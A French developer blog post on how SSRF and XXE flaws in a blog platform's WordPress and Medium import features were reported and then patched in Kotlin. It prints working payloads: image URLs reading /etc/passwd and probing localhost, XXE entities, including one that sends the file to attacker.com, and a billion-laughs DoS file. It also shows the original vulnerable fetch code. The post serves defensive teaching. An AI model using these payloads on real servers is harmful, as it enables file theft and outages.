Sécuriser un import de fichiers : corriger les failles SSRF et XXE

By Hugo LassiègeNov 27, 20255 min read

Vous savez qui aime les nouvelles features sur une application ?

Les hackers.

Chaque nouvelle fonctionnalité est une opportunité supplémentaire, une nouvelle faille potentielle.

Le week end dernier j'ai ajouté la possibilité de migrer ses données sur writizzy depuis wordpress (fichier xml), ghost (fichier json) et medium (archive zip).

Et lundi j'ai recu ce message :

Enorme vuln sur writizzy

Hello, Tu as une énorme vulnérabilité sur writizzy que tu dois fixer asap. Via l'import medium, j'ai pu download ton /etc/passwd Grosso modo, il faut absolument que tu valides les images du html medium!

Ton /etc/passwd pour preuve:

Micka

Alors comme c'est pas impossible que vous découvriez ce genre de faille, je vous propose de voir comment exploiter des failles SSRF et XXE

La faille SSRF

Une faille SSRF veut dire "server side request forgery", c'est une attaque permettant d'accéder à des ressources vulnérables du serveur.

Ok, mais comment accéder à ces ressources en déclenchant un import de données avec une archive zip ?

La fonctionnalité d'import repose sur un principe important, j'essaie de télécharger les images qui sont dans l'article à migrer pour les importer sur mon propre stockage (bunny dans mon cas).

Imaginons par exemple que j'ai ceci dans la page medium

<img src="https://cdn-images-1.medium.com/max/800/image.jpg"/>

Je dois télécharger l'image, puis la réuploader sur bunny. Lors de la conversion en markdown je vais ensuite écrire ceci :

![](https://cdn.bunny.net/blog/12132132/image.jpg)

Donc pour ca, a un endroit j'ouvre une url vers l'image

   val imageBytes = try {
        val connection = URL(imageUrl).openConnection()
        connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
        connection.setRequestProperty("Referer", "https://medium.com/")
        connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
        connection.connectTimeout = 10000
        connection.readTimeout = 10000
        connection.getInputStream().use { it.readBytes() }
    } catch (e: Exception) {
        logger.warn("Failed to download image $imageUrl: ${e.message}")
        return imageUrl
    }

Et ensuite j'uploade le tableau de bytes vers bunny.

Ok. Mais que se passe-t-il si l'utilisateur écris ceci :

<img src="file:///etc/passwd">

Le code précédent va essayer de lire le fichier en suivant le protocole demandé, ici, file. Puis uploader le contenu du fichier sur le cdn. Contenu désormais accessible publiquement.

Et puis on peut également accéder à des urls internes pour scanner des ports, avoir des infos sensibles etc...

<img src="http://localhost:6379/">

Bref, la faille est très importante.

Pour corriger il y a plusieurs choses à faire. Déjà, vérifier le protocole utilisé :

    if (url.protocol !in listOf("http", "https")) {
        logger.warn("Unauthorized protocol: ${url.protocol} for URL: $imageUrl")
        return imageUrl
    }

Ensuite, vérifier qu'on attaque pas des urls privées

        val host = url.host.lowercase()
        if (isPrivateOrLocalhost(host)) {
            logger.warn("Blocked private/localhost URL: $imageUrl")
            return imageUrl
        }
        
        ...
        
            private fun isPrivateOrLocalhost(host: String): Boolean {
        if (host in listOf("localhost", "127.0.0.1", "::1")) return true

        val address = try {
            java.net.InetAddress.getByName(host)
        } catch (_: Exception) {
            return true // En cas de doute, on bloque
        }

        return address.isLoopbackAddress ||
                address.isLinkLocalAddress ||
                address.isSiteLocalAddress
    }

Mais ici, j'ai encore un risque. L'utilisateur peut écrire

<img src="https://hacker-domain.com/image.jpg">

Et pourtant, ceci pourrait encore être risqué si le hacker demande un redirect de cette url vers /etc/password

Donc il faut bloquer les demandes de redirection :

    val connection = url.openConnection()
    if (connection is java.net.HttpURLConnection) {
        connection.instanceFollowRedirects = false
    }
    connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
    connection.setRequestProperty("Referer", "https://medium.com/")
    connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
    connection.connectTimeout = 10000
    connection.readTimeout = 10000
    val responseCode = (connection as? java.net.HttpURLConnection)?.responseCode

    if (responseCode in listOf(301, 302, 303, 307, 308)) {
        logger.warn("Refused redirect for URL: $imageUrl (HTTP $responseCode)")
        return imageUrl
    }

Bref, faites très attention à l'ouverture de connection piloté par l'utilisateur.

Sauf que c'était pas fini.

Second message de Micka :

T'as aussi une XXE sur l'import wordpress ! Désolé du spam, j'avais pas pu tester pour t'avertir en même temps que l'autre vuln, ça aussi faut que tu le fix asap :)

la faille XXE

Une XXE (XML External Entity) est une vulnérabilité qui permet d'injecter des entités XML externes pour :

  • Lire des fichiers locaux (/etc/passwd, config files, clés SSH...)
  • Faire du SSRF (requêtes vers des services internes)
  • Faire du DoS (billion laughs attack)

Or Micka a modifié le fichier xml de Wordpress pour rajouter une déclaration d'entité

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
...
<content:encoded>&xxe;</content:encoded>

Cette directive demande au parseur XML d'aller lire le contenu d'un fichier local pour ensuite l'utiliser plus tard.

Il aurait aussi été possible d'envoyer ce fichier vers une url directement

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

et sur http://attacker.com/evil.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Enfin pour faire tomber un serveur, l'attaquant aussi aussi pu faire ceci :

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<rss>
  <channel>
    <item>
      <title>&lol9;</title>
      <wp:post_id>1</wp:post_id>
      <wp:status>publish</wp:status>
      <wp:post_type>post</wp:post_type>
    </item>
  </channel>
</rss>

Ceci demande l'affichage de plus de 3Mds de caractères, et donc faire planter le serveur. Il existe des variantes mais vous avez l'idée.

Bref, évidemment on veut pas tout ça.

Cette fois ci, il va falloir sécuriser le parseur XML en lui demandant de ne pas regarder les entités externes :

    val factory = DocumentBuilderFactory.newInstance()
    
    // Désactiver les entités externes (XXE protection)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
    factory.isXIncludeAware = false
    factory.isExpandEntityReferences = false

J'espère que vous aurez appris un truc. Moi oui en tout cas, parce que même si j'aurais du voir la faille SSRF, honnêtement, j'aurais jamais vu celle sur le parseur XML. C'est grace à Micka que j'ai découvert ce type de pratique.

Pour info, Micka est une personne formidable avec qui j'ai déjà bossé sur Malt et qui bosse dans la sécurité. Vous l'avez peut-être croisé sur des capture the flag à Mixit. Et il adore essayer de trouver ce genre de faille.


Share this:

Written by Hugo Lassiège

Software engineer, ex-freelance, ex-cofounder, ex-CTO. I love building things, sharing knowledge and helping others.

Copyright © 2025
 Eventuallycoding
  Powered by Bloggrify